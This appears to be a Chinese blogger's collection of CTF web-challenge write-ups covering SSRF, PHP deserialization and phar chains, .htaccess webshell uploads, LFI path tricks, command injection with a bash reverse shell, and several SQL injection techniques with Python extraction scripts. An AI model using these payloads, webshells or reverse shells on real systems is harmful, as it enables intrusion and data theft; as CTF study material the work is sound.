SSRF

[网鼎杯 2018]Fakebook

注入+序列胡+SSRF 都是基础

robots.php下有提示部分源码

user.php

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}


可以看到我们登陆的信息被序列话存储,并且这里开启了curl函数,怀疑有SSRF的可能。
登陆后在view.php处,发现注入。

// 过滤方式应该是union%20select,打两个空格或者/**/代替即可
no=0 union/**/select 1,2,3,4 
fakebook
no=0 union/**/select 1,database(),3,4
users
no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
no,username,passwd,data     
?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema=database()
?no=0 union/**/select 1,group_concat(data),3,4 from fakebook.users
这里看了看只有data有用
得到:
O:8:"UserInfo":3:{s:4:"name";s:6:"theoyu";s:3:"age";i:18;s:4:"blog";s:14:"http://123.com";},O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";} 

联系上面源码处的curl函数,构造payload实现SSRF

<?php

class UserInfo
{
    public $name;
    public $age;
    public $blog;
    public function __construct()
    {
        $this->name="theoyu";
        $this->age=18;
        $this->blog="file:///var/www/html/flag.php";
    }
}
echo(serialize(new UserInfo()));
//O:8:"UserInfo":3:{s:4:"name";s:6:"theoyu";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
?>

其实也不用构造,直接对着改一下也行...
payload:

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"theoyu";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

data的位置是4,所以我们在第四个位置注入,将得到内容base64解码即可。

序列化

CISCN2019 Dropbox

phar

登陆后,随便上传一个文件,在下载处发现任意文件读取,下载源码。
download.php处有对flag的过滤,可以确定应该是去读取关于和flag相关的文件,这里比较恶心,文件是flag.txt,没有任何提示。

要想对文件进行读取,在classclose()发现file_get_contents函数,而调用close()的地方只有两处,一处是download.php下,但是前面说了这里对flag有所过滤,所以基本上可以否定。
还有一处是User__destruct()$dbclose()只要把$db声明为File的一个对象即可。
纵观所有内容,其实并没有发现反序列化的点,但是在open()函数中我们发现了file_exists()这个触发phar的反序列化,这样就好说了,我们构造:

<?php

class User
{
    public $db;

    public function __construct()
    {
        $this->db = new File;
    }
}
class File
{
    public $filename;
    public function __construct()
    {
        $this->filename = '/flag.txt';
    }
}
@unlink("2.phar");
$o = new User();
$phar = new Phar("2.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

然后改名为2.gif上传,在下载处抓包改为phar://2.gif,然而发现并没能成功,原因我猜应该是file_get_contents只是return了,并没有输出,我们重新找一下有没有输出的地方。
Filelist中我们发现了输出,但是这个类并没有close()函数,最巧的是__call()函数中就利用了这一点为我们构造了不存在函数。那pop链重新改为:

<?php

class User
{
    public $db;

    public function __construct()
    {
        $this->db = new FileList;
    }
}

class FileList
{
    private $files;
    private $results;
    private $funcs;

    public function __construct()
    {
        $file = new File;
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

class File
{
    public $filename;
    public function __construct()
    {
        $this->filename = '/flag.txt';
    }
}

$o = new User();
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

同理改名抓包,终于得到flag。

[极客大挑战 2019]PHP

扫目录下载/www.zip,得到源码

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();        
        }
    }
}
?>

和11月校赛的序列化基本上思路一样,payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[安洵杯 2019]easy_serialize_php

source_code

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 


phpinfo()里我们看到一个d0g3_f1ag.php,访问没有结果。
源码最后有一个file_get_contents函数,看来想得到flag就得利用好这里,尤其是img参数。

    if($_SESSION){
    unset($_SESSION);
    }
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    extract($_POST);

这个地方比较有意思,只要我们POST _session,那么"user"和"function"就会置空,但并不代表我们可以修改img,可以看到想要修改img的值就用一个sha1,这是我们不可控的。
而比较巧的地方就在于filter函数,看到这里其实就很容易想到字符减少导致反序列化逃逸之前的文章有详细说过。

文件上传

你传你马呢

阿,看这优美的界面~

image.png

肯定是让我们传一句话木马,随便传了一个图片。

回显了文件路径。

想传一个php文件,把毕生所学用尽了,也没能成功。

想到之前在DVWA上学的一个姿势,传.htaccess文件,但其实有点虚,因为之前的php文件改content-type上传失败了,不确定这个能不能成功。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

这里我们要用到的就是改变文件拓展名功能。

#第一种写法 匹配需要修改的文件名 
<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>   

#第二种写法 把jpg文件全部当作php解析
AddType application/x-httpd-php .jpg

#一句话图片马
shell.jpg
<?php @eval($_POST['theoyu']) ?>

先把.htaccess文件上传,记得改content-type为image/jpeg。

上传成功,接下来把shell.jpg正常上传就行。

蚁剑连接,根目录里拿到flag,顺便看一下php代码。

<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];

    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("我扌your problem?");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
            move_uploaded_file($uploaded_tmp, $t_path);
            echo "{$t_path} succesfully uploaded!";
        }
        else{
            die("我扌your problem?");
        }
    }
}
?>

可以看到正则表达式里有匹配/ph/i,即不区分大小写,导致php所有后缀以及phtml这一类的全部失败..而黑名单外仅仅只是对文件类型以及大小有限制。

代码审计

[HCTF] 2018 WarmUp

打开题目,F12发现source.php,进入发现源码。

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

整个流程:

  1. 传入file不为空
  2. file为字符串类型。
  3. 将file传入emmm类的checkFile函数中。

如果三个均为真,则执行include $_REQUEST['file'],应该就可以得到我们的flag。

现在分析checkFile中的几个函数:

  1. mb_strpos('aaabc','b'):返回要查找的字符串在第一个一个字符串中首次出现的位置
  2. mb_substr(string,start,length):返回字符串string从start开始后长为length的字串。

重新分析源码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            //白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            //第一次匹配
            if (in_array($page, $whitelist)) {
                return true;
            }
            //提取page第一个?前的字符串
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            //第二次匹配
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //对page进行url解码
            $_page = urldecode($page);
            //提取page第一个?前的字符串
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            //第三次匹配
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

我们先访问/hint.php 发现回显flag not here, and flag in ffffllllaaaagggg,那么我们最后应该要把

ffllllaaaagggg给include进去。

结合前面的php审计,构造?file=hint.php?/../../../../ffffllllaaaagggg,

在hint.php?处 问号被拦截,payload变成 ?file=hint.php ,在白名单符合第二次匹配 return true;

include函数,如果在../../目录前有其他字符,会自动忽略

我不断尝试../ 找到ffffllllaaaagggg所在路径即可得到flag

命令执行

[GXYCTF2019]禁止套娃

进入题目什么信息也没有,御剑扫目录也扫不出来,wp说有git泄露(说能扫出来 用dirsearch也没扫出来)

之后python2 .\GitHack.py http://b67f0db7-83dd-44bb-aee2-b2febcd7faa0.node3.buuoj.cn/.git/得到源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
  • 第一层过滤,php伪协议全部阵亡
  • 第二层过滤,只能无参传输

[GXYCTF2019]Ping Ping Ping

命令执行,ls发现flag.php文件,但是空格和很多符号都被过滤了

绕过空格:$IFS$9IFS都可以,${IFS}$9、 {IFS}不行({}被过滤)

flag也被过滤,先打开index.php看看。

下面有两个方法绕过。

  • 字符拼接。根据正则表达式的贪婪匹配,只要flag不写在一起就没有关系。

payload:?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php

  • 内联执行

payload:?ip=127.0.0.1;cat$IFS$9'ls'

[SKCTF]login2

其实是bugku上面的题

初始是一个登陆界面,没有注入,抓包试试,在tip里找到一串base64密文,解密

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){}

可以看出是一个分离式的查询,先找到username,再把username的密码拿出来和我们输入的password进行验证。
在联合查询时,会生成一个不存在的用户(在下面sql注入第一题有讲到),利用这一点,我们payload

post
username=Theoyu' union select 1,md5(1)#&password=1

之后我们进入一个进程监控系统,应该是命令执行漏洞,但无论我们怎么输入,都没有回显。
方法1 时间盲注
test

1;sleep(3)

感觉可以进行命令注入(时间盲注)

import requests

url = 'http://114.67.246.176:16688/login.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'}
s = requests.session()
# keep session_id
data = {'username' : 'impossible\' union select 1,\'76a2173be6393254e72ffa4d6df1030a\'#', 'password' : 'passwd'}
s.post(url, data = data, headers = headers)
# sign in first
url = 'http://114.67.246.176:16688/index.php'
len = 1
while(1):
    payload = 'nothing;str=`ls`;if [ ${#str} -eq ' + str(len) + ' ] ;then sleep 4;fi'
    data = {'c' : payload}
    try:
        s.post(url, data = data, headers = headers, timeout = 3)
    except requests.exceptions.ReadTimeout:
        break
    len += 1
print('Length of `ls`:' + str(len))
ls = ''
for i in range(len):
    for dict in " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^&*()-_=+[]{};:\'\"|\,<.>/?":
        payload = 'nothing;str=`ls`;if [ ${str:' + str(i) + ':1} == \'' + dict + '\' ] ;then sleep 4;fi'
        #print(payload)
        data = {'c' : payload}
        try:
            s.post(url, data = data, headers = headers, timeout = 3)
        except requests.exceptions.ReadTimeout:
            ls += dict
            print(dict)
            break
        if(dict == '?'):
            ls += ' '
            print(' ')
print('`ls`:' + ls)

出了一些小问题,我记得我第一次做的时候是跑出来了一个xxxx.txt文件,访问就得到了flag,回来做wp的时候发现文件不见了。

图片.png

方法2 反弹shell
猜测应该只是把输出过滤了,采用反弹shell的方法
先在服务器上开启端口,再开启监听

nc -nvlp 12345

再payload:

1;bash -i >& /dev/tcp/ip/端口 0>&1
图片.png 顺便看一眼源码
<?php
if(isset($_POST['c'])){
        $cmd = $_POST['c'];
        exec('ps -aux | grep '.$cmd, $result);
        foreach($result as $k){
                if(strpos($k, $cmd)){
                        echo $k.'<br>';
                }
        }
}
?>

简单粗暴

sql 注入

[BJDCTF 2nd]简单注入

单引号过滤

随便尝试了一下,发现单引号被过滤。
再fuzz一下 大概过滤了= like ' " select and# ^ ()都存活了下来
据说扫目录可以扫到hint.txt,对不起是我的字典拉跨了,没扫出来,里面有hint。

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

那么单引号被过滤的问题就解决了,我们只需要post:username=theoyu\&password=123#
那么第一个反斜杠就可以把第二个单引号给转义,后台实际接受的就是

select * from users where username='theoyu\' and password = '123#’

我们再对password做一些修改

post 
username=theoyu\&password=or 1>2#
构造
select * from users where username='theoyu\' and password = 'or 1>2#'

返回为错时
image.png
返回为真时
image.png
这样我们就可以构造bool注入
脚本如下

import requests

url = "http://d8e27f04-d2ea-4191-adc0-0e2d22651ce9.node3.buuoj.cn"

data={"username":"admin\\","password":""}
flag = ''
i=0
while (True):
    i=i+1
    head=32
    tail=127
    while(head<tail):
        mid=(head +tail) //2
       # payload="or if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
        payload="or if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
        data['password']=payload
        r=requests.post(url=url,data=data)

        if "strong" in r.text:
            head=mid+1
        else:
            tail=mid
    if head!=32:
        flag+=chr(head)
        print(flag)
    else:
        break

image.png

登陆即可获取flag

[GXYCTF2019]BabySQli

伪造表单登陆

登陆界面,抓包,注入发现过滤的不少。F12在源码处看到提示,base32+base64解码得到:select * from user where username = '$name',因为过滤的实在太多,不太可能爆表,应该是其他路子。

在联合查询时,会暂时生成一个虚拟表单。

利用这个特性我们可以尝试在name处联合查询创建虚拟表单,再用伪造的pw登陆。

' union select 1,2,3#   发现有三个表
' union select 1,admin,3#   用户在第二列,为admin

数据库在存储密码时是md5加密,所以我们伪造的时候直接放md5加密过的,然后pw输入密码

[SKCTF] login3

异或注入

一个登陆界面,随便登陆,抓包。回显username does not exist!
把username改为admin尝试,发现回显变为password error!
看来是一个分离查询,猜想查询过程大概为

SELECT username,password FROM admin WHERE username='$username'

fuzz发现过滤了空格,用()代替,过滤的=用<>代替,因为,被过滤,if就用不了了,采用^异或来判断正确性。脚本如下:

import requests
url="http://114.67.246.176:12734/"
str_all = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
flag=""
r=requests.session()
database=""
# for i in range(30):
#     for j in str_all:
#         name="admin'^(ascii(mid(database()from({})))<>{})^0#".format(i,ord(j))
#         data ={        
#             "username":name,
#             "password":"123"
#         }
#         res=requests.post(url=url,data=data).text
#         if "error" in res:
#             database+=j
#             print(database)
#             break
#bindsql    

table=""
for i in range(35):
    for j in str_all:
        name="test'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(i,ord(j))
        data ={        
            "username":name,
            "password":"123"
        }
        res=requests.post(url=url,data=data).text
        if "error" in res:
            table+=j
            print(table)
            break
#4dcc88f8f1bc05e7c2ad1a60288481a2

可以发现我跳过了爆表名和列名这一步,为什么呢..因为or被过滤了 information用不了,查阅资料知道在mysql5.7后可以用mysql.innodb_table_stats或者sys.schema_table_statistics_with_buffer
但是都失败了..最后把这两个猜出来出来

爆出密码后md5解密登陆即可获得flag

[极客大挑战 2019]BabySQL

双写注入

单引号发现存在注入 ,简单fuzz一下发现过滤很多,但都可以双写绕过

?username=1' oorr '1'='1&password=1' oorr '1'='1
爆表
?username=1
&password=1' uunionnion sselectelect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database() %23
爆列
?username=1
&password=1' uunionnion sselectelect 1, 2,group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'%23
爆字段
?username=1
&password=1' uunionnion sselectelect 1, 2,group_concat(passwoorrd) frofromm b4bsql %23

[极客大挑战]HardSQL

报错注入

过滤了空格,and,or等等,想到用报错注入,用^异或代替or

?username=1'^extractvalue(1,concat(0x7e,database(),0x7e))^'0  
#^'0是为了闭合单引号
&password=1
爆表
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))^'0
&password=1
爆列
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))^'0
&password=1
爆字段
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))^'0
&password=1
报错注入只能显示32位,后面的可以用reverse或者right来显示
?username=
1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e))^'0
&password=1

信息收集

[BJDCTF 2nd]elementmaster

在源码处发现506F2E 以及706870,hex to string得到Po.php,访问回显.
然后就没有其他信息了,背景的国籍以及划集重点的门捷列夫好像在提示着我们元素周期表,结合Po.php回显了.,想到其他的元素会不会也回显什么内容呢?

import os
import requests
url= "http://f860c48a-69ee-4c82-ae66-f4537d22d4af.node3.buuoj.cn/"
elements =('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
                  'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
                  'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
                  'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
                  'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
                  'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
                  'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
flag=""
for smp in elements:
    res=requests.get(url+smp+".php")
    if res.status_code==200:
        print(res.text,end='')
        flag+=res.text
    else:
        continue

image.png

访问即获得flag

最后修改:2021 年 04 月 03 日 09 : 04 PM